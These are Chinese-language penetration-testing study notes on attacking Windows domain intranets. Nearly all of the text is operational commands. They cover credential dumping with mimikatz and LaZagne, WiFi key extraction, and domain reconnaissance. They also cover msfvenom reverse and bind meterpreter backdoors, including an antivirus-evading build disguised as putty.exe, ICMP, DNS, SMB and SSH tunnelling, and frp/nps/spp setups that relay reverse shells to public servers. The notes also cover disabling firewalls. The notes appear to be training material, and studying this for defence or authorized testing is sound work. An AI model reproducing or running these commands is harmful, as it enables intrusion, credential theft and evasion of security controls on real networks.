内网安全知识小结(一)
概念介绍
DMZ
DMZ
两个防火墙之间的空间被称为DMZ。与Internet相比,DMZ可以提供更高的安全性,但是其安全性比内部网络低。
DMZ是英文"demilitarized zone的缩写,中文名称为"隔离区"”,也称"非军事化区"。它是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区。该缓冲区位于企业内部网络和外部网络之间的小网络区域内。在这个小网络区域内可以放置一些必须公开的服务器设施,如企业Web服务器、FTP服务器和论坛等。另一方面,通过这样一个DMZ区域,更加有效地保护了内部网络。因为这种网络部署,比起一般的防火墙方案,对来自外网的攻击者来说又多了一道关卡。
工作组
工作组(Work Group)是计算机网络的一个概念,也是最常见和最普通的资源管理模式
将不同的计算机按照功能或部门分别置于不同的组。通过创建不同的工作组,不同的计算机可以按照功能或部门归属到不同的组内,整个组织的网络就会变得具有层次性。
这样,只需在计算机的“网上邻居”中找到相应的工作组,就可以发现所包含的所有计算机,从而访问相应的资源。
要加入或创建工作组很简单。只需右击桌面上的“计算机”(或“此电脑”)图标,在弹出的快捷菜单中选择“属性”,在弹出的对话框中单击“更改设置”, 然后在弹出的“系统属性”对话框中单击“更改”,在“计算机名”栏中输入自定义的主机名称,并在工作组”栏中输入需要加入的工作组名称,单击“确定”按钮并重新启动计算机即可。注意,如果指定的工作组不存在,就会创建一个新的工作组。
另外,在默认情况下,局域网内的计算机都是采用工作组方式进行资源管理的,即处在名为WORKGROUP的工作组中。
工作组和域的区别
工作组范围较小 不需要管理主机
域环境范围较大 主机数量较多 需要管理主机进行管理
域控制器DC
控制器是指在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”
一般为域环境中的管理主机 拥有较大的权限
活动目录AD
它为用户管理网路环境各个组成要素的标识和关系提供了一种有力的手段
活动目录(Active Directory)主要提供以下功能:
①基础网路服务:包括DNS、WINS、DHCP、证书服务等。
②伺服器及客户端计算机管理:管理伺服器及客户端计算机账户,所有伺服器及客户端计算机加入域管理并实施组策略。
③用户服务:管理用户域账户、用户信息、企业通讯录(与电子邮件系统集成)、用户组管理、用户身份认证、用户授权管理等,按需实施组管理策略。
④资源管理:管理印表机、档案共享服务等网路资源。
⑤桌面配置:系统管理员可以集中的配置各种桌面配置策略,如:界面功能的限制、应用程式执行特徵限制、网路连线限制、安全配置限制等。
⑥套用系统支撑:支持财务、人事、电子邮件、企业信息门户、办公自动化、补丁管理、防病毒系统等各种套用系统。
单域
单域是指网络环境中只有一个域。
在一个计算机数量较少、地理位置固定的小规模 的组织中,建立一个单独的域,足以满足需求
父域和子域
在网络中划分多个域,第一域称为父域,各分部的域称为该域的子域,同一域内,信息交互的条目多,且不会压缩,不同域之间,信息的交互条目相对较少,而且,可以压缩,且每个域都有自己的安全策略
域树
域树是多个域通过建立信任关系组成的集合
域林
多个域树建立信任关系组成的集合
一、信息收集
敏感信息泄露
计算机各种协议服务口令获取-LaZagne (all) , xenArmor(win),cs插件
https://github.com/gentilkiwi/mimikatz/
https://github.com/Alessandroz/LaZagne
https://github.com/huntergregal/mimipenguin
https://xenarmor.com/allinone-password-recovery-pro-software/
1.站点源码备份文件、数据库备份文件等
2.各类数据库web管理入口,如PHPMyAdmin
3.浏览器保存密码、浏览器cookies
4.其他用户会话、3389和ipc$连接记录、回收站内容
5.windows保存的WIFI密码
6 .网络内部的各种帐号和密码,如: Email、VPN 、FTP、OA等
计算机基本信息
旨在了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备
systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务
网络信息收集
旨在了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备
ipconfig /all 判断是否存在域-DNS
有主DNS后缀一项 说明有域环境
net view /domain 判断是否存在域
有域的回显
net time /domain 判断主域
可以通过nslookup和ping去探测该主机的ip地址
一般会以域控的时间为准进行同步 所以图上的就是域控
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址
nslookup
也可以通过ping
用户信息收集
旨在了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试
系统默认常见用户身份:
Domain Admins 域管理员(默认对域控制器有完全控制权)
Domain Computers 域内机器
Domain Controllers 域控制器
Domain Guest 域访客 权限低
Domain Users 域用户
Enterprise Admins 企业系统管理员用户(默认对域控制器有完全控制权)
相关用户收集操作命令:
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器
凭据信息收集
旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备
计算机用户HASH,明文获取-mimikatz (win) , mimipenguin (linux)
Windows
mimikatz
mimikatz要先权限提升 system用户或者Administrator用户 再执行后生成adminstrator的密码 不权限提升 域用户没有权限执行
Linux
mimipenguin
github.com/huntergregal/mimipenguin/
仅支持以下版本
计算机各种协议服务口令获取-LaZagne (all), XenArmor (win)
CS插件
LSTAR
https://github.com/lintstar/LSTAR
Ladon
https://github.com/k8gege/Ladon
OLA
https://github.com/d3ckx1/OLa
TaoWu
https://github.com/pandasec888/taowu-cobalt-strike
LaZagne(全系统支持)
本地密码爬取 WIFI 浏览器密码 登录密码等多种密码
github.com/AlessandroZ/LaZagne
XenArmor(win)
收费 三四百 有破解的老版本
https://xenarmor.com/order-software/
显示历史保存的WIFI密码
Netsh WLAN show profiles
Netsh WLAN show profile name="无线名称”key=clear
1.站点源码备份文件、数据库备份文件等
2 .各类数据库web管理入口,如PHPMyAdmin
3.浏览器保存密码、浏览器cookies
4 .其他用户会话、3389和ipc$连接记录、回收站内容
5.windows保存的WIFI密码
6.网络内部的各种帐号和密码,如: Email、VPN、FTP、OA等
探针域内控制器名及地址信息
net time /domain nslookyp ping
探针域内存活主机及地址信息
第三方工具
nbtscan 192.168.3.0/24 第三方工具 (没有免杀 需要自己在域内机器上下载)
自带命令
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" 自带内部命令
能过免杀 不容易被拦截
第三方Powershell脚本
nishang empire
nishang
以管理员权限运行
导入模块nishang
Import-Module .\lnishang.psm1
设置执行策略
Set一ExecutionPolicy Remotelsigned
一直回车
获取模块nishang的命令函数
Get-Command -Module nishang
获取常规计算机信息
Get-Information
端口扫描(查看目录对应文件有演示语法,其他同理)
Invoke-Portscan -StartAddress 192.168.3.0 -EndAddress192.168.3.100 -ResolveHost -ScanPort
其他功能:删除补丁,反弹shell,凭据获取等
二、隧道技术
隧道和代理的区别
隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)
可以理解为 有防火墙、防护软件等进行限制 从而导致某些协议无法正常通信
代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)
可以理解为 不同网段的无法进行通信
正向连接(用于出规则被限制时 服务器主动连接被控主机 向内发送请求)
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.63.135 lport=6666 -f exe -o test.exe
反向连接(用于入规则被限制时 主动连接被控服务器 向外发送请求)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.200.134 lport=9999 -f exe -o demo2.exe
假如有域内已经取得一台主机权限
现在要横向移动另一台主机
以被控主机为节点尝试对目标主机进行正向连接后门
如果主机有网络 但是被封杀了TCP 可以用隧道技术
使用时机
主机出站TCP封杀 入站没有 无互联网网络
正向连接 (取得一台有网络的能和主机通讯的服务器权限 他有网)
把数据给出网的机器 通过出网机器正向主动控制他
主机出站TCP封杀 入站没有 有互联网网络
正向连接 (取得一台有网络的能和主机通讯的服务器权限 他有网)
隧道技术(走其他协议出网即可)
封装ICMP协议
当目标主机可以ping外网 但是被禁用http时 可以使用ICMP协议封装走隧道
流程:
生成本地后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.200.134 lport=9999 -f exe -o demo2.exe
MSF启动监听:
msfconsole
use exploit/multi/hanlder
set payload/windows/meterpreter/reverse_tcp
ser lhost 0.0.0.0
ser lport 4444
exploit
kali开启隧道
./pingtunnel -type server
Win开启隧道 //将本地3333 icmp协议数据转发至66ip的4444流量上(管理员运行)
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.46.66 -t 192.168.46.66:4444 -tcp -noprint 1 -nolog 1
DNS隧道通讯
判断:nslookup dig
内网主机只出网DNS协议数据 解决通讯
工具地址 https://github.com/yarrick/iodine
判断出网 nslookup www.baidu.com
---公网服务器:设置密码xiaodi并创建虚拟ip以及绑定域名指向
iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD
---目标主机客户端:连接密码xiaodi并绑定域名指向
iodine -f -M -P xiaodi ns1.xiaod8.com
---尝试通讯尝试连接
ssh root@192.168.0.2
SSH隧道
开启SSH协议登录
vim /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
本地:出站封
ssh -CFNg -L 1122:192.168.1.15:8080 root@192.168.1.166
curl http://127.0.0.1:1122
远程:入站封
ssh -CFNg -R 1234:192.168.1.15:8080 root@47.94.236.117
curl http://127.0.0.1:1234
三、代理技术
Socks代理
Socks4/4a Socks5
代理软件
SocksCap Proxifier ProxyChains等
Proxifier
先在CS建立socks代理
复制端口
打开Proxifier
依次填入数据
socks版本以CS生成的为准
填好之后点击check进行检测连通性
如果检测卡住了 点击右上角Test Settings
第一种方法是只启动第一个检测
第二种方法是
准确设置目标内网ip
设置完成后再进行检测即可成功
然后再设置Rules
进行如下添加
然后再选中localhost 点击remove 删去localhost的规则 只留下两个
点击OK
配置完成后使用火狐可以访问目标内网主机的开放端口
MSF通讯
Socks代理
1、添加路由 限于MSF
查看路由信息
run autoroute -p
run post/multi/manage/autoroute
添加指定路由,1是接收的session编号
route add 192.168.11.0 255.255.255.0 1
2、Socks代理 全局通用
use auxiliary/server/socks_proxy
set VERSION 4a (根据实际更改)
set srvhost 0.0.0.0
set srvport 1115
run
启动代理配置Socks5代理
MSF+proxychains
创建路由
run post/multi/manage/autoroute
查看路由
run autoroute -p
返回MSF
使用auxiliary/server/socks_proxy模块 查看options 并填上对应参数
use auxiliary/server/socks_proxy
options
set VERSION 4a
run
run之后就会挂起一个job 可以通过命令查看挂起情况
jobs
安装proxychains4
apt install proxychains4
配置proxychain配置文件 配置文件中的ip和命令要和模块中配置的一样
vim /etc/proxychains4.conf
保存后 查看能否通过内网ip获得web页面
proxychains4 curl http://192.168.52.143/phpmyadmin
CS通讯
命令:socks 59578
操作:代理转发--->Socks代理
四、正反向后门
正向
后门执行后数据交给本地2222端口 控制器连接当前的2222端口
反向
后门执行后数据交给远程2222端口 控制器监听2222端口
MSF控制上线(正向)
msfvenom -p windows/meterpreter/bind/_tcp LHOST=0.0.0.0 LPORT=1234 -f exe > 1.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.11.129
set lport 3333
run
免杀
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.93.87.217 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o aaa.exe
CS控制上线(正向)
监听器:bind_tcp port
使用socks代理
命令:connect ip port
设置新监听器
使用最后一个模块攻击
上传后执行木马
执行后CS并没直接上线
需要在已上线主机上输入命令
connect ip port (刚才执行木马的ip和CS生成后门时的端口)
稍等一会 主机上线
五、入站 出站过滤上线
入站过滤上线
网络环境如图
思路:上线windows7 --> 正向连接 上线windows10 --> windows2008反向连接windows10 --> windows2008 走SMB隧道正向连接windows2012
隧道技术
HTTP/S DNS SSH ICMP SMB 协议穿透等
SMB隧道上线
情景
防火墙对所有协议端口进行封禁 只开放了能连接打印机的SMB协议
SMB协议
文件共享协议 用于445端口 多用于打印机
新建SMB监听器 建立管道
用被控主机对目标主机进行扫描探测 探测是否存在445端口
扫描之后查看目标列表
出现目标主机
选择目标主机进行横向移动
最终上线(没配好环境 用迪总的图代替一下) 并且还是system 横向移动自带提权
DNS隧道上线
情景
原理
DNS在区域传输时用TCP
DNS在域名解析时用UDP
如果防火墙禁用TCP协议 UDP是可以用的
适用情景
目标主机可以ping通www.baidu.com (走的ICMP协议)
但是目标主机无法访问百度网页 (防火墙封禁了TCP协议通信)
目标主机通过nslookup可以解析回显www.baidu.com (DNS协议可以通信)
使用前提
需要准备域名
上线之后执行命令
mode dns-txt
上线成功
反向连接跳过
先将被控主机 代理转发
监听主机要换成 和其他内网ip能够通信的同网段ip 要保证网络连通性
然后生成木马
最后执行木马进行上线
关闭&删除&替换
适用于单纯的内网环境 单纯的内网域环境(域控没有设置组策略防火墙同步)
在拿到管理员权限前提下 使用命令关闭防火墙 删除防火墙策略 替换防火墙程序
windows防火墙操作命令大全
https://www.cnblogs.com/tomtellyou/p/16300557.html
六、面向Linux MAC IOS Android系统上线支持
插件
https://github.com/gloxec/CrossC2
使用参考
https://gloxec.github.io/CrossC2/zh_cn
目前版本仅支持反向的https和正向的tcp
1、下载对应版本加载器和CNA插件
2、上传加载器文件和本地加载CNA插件
3、修改CNA插件配置路径以及上传key文件
4、使用命令或插件绑定HTTPS监听器生成
七、内网穿透
穿透项目
优点:穿透加密数据,中间平台,防追踪,解决网络问题
Ngrok (入门) 不推荐
https://www.ngrok.cc
frp (简易)
https://github.com/fatedierfrp
spp (自定义)
https://github.com/esrrhs/spp
nps (特殊协议)
https://github.com/ehang-io/nps
EW (停止更新)
http://www.rootkiter.com/EarthWorm
frp
服务端--下载--解压--修改--启动(阿里云主机修改安全配置出入口)
服务器修改配置文件frps.ini
[common]
bind_port=7000
启动服务端
./frps -c ./frps.ini
控制端--下载--解压--修改--启动
控制端修改配置文件frpc.ini
[common]
server_add=xx.xx.xx.xx (公网ip)
server_ip=7000 #frpc工作端口 必须和上面frps保持一致
[ssh]
type=tcp
local_ip=127.0.0.1
loacl_port=5555 #转发给本机的5555
remote_port=6000 #服务端6000端口转发给本机
启动客户端
./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx(公网ip) lport=6000 -f exe -o a.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
nps
服务端
启动
./nps install
./nps
http://ip:8024 admin/123
创建客户端,生成密匙
添加协议隧道 绑定指向
远程绑定5555,指向本地6666
客户端
1、连接服务端
./nps -server=xx.xx.xx.xx:8024(公网ip)-vkey=uajwhbu9155qh8 9v
2、生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx(公网ip)lport=5555 -f exe -o nps.exe
3、监听后门
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run
spp
服务端
./spp -type server -proto ricmp -listen 0.0.0.0
客户端
spp -name "test" -type proxy_client -server xx.xx.xx.xx(公网ip)-fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp
CS
监听器1:
http xx.xx.xx.xx (公网ip) 8081
监听器2:
http 127.0.0.1 8082
生成后门:监听器2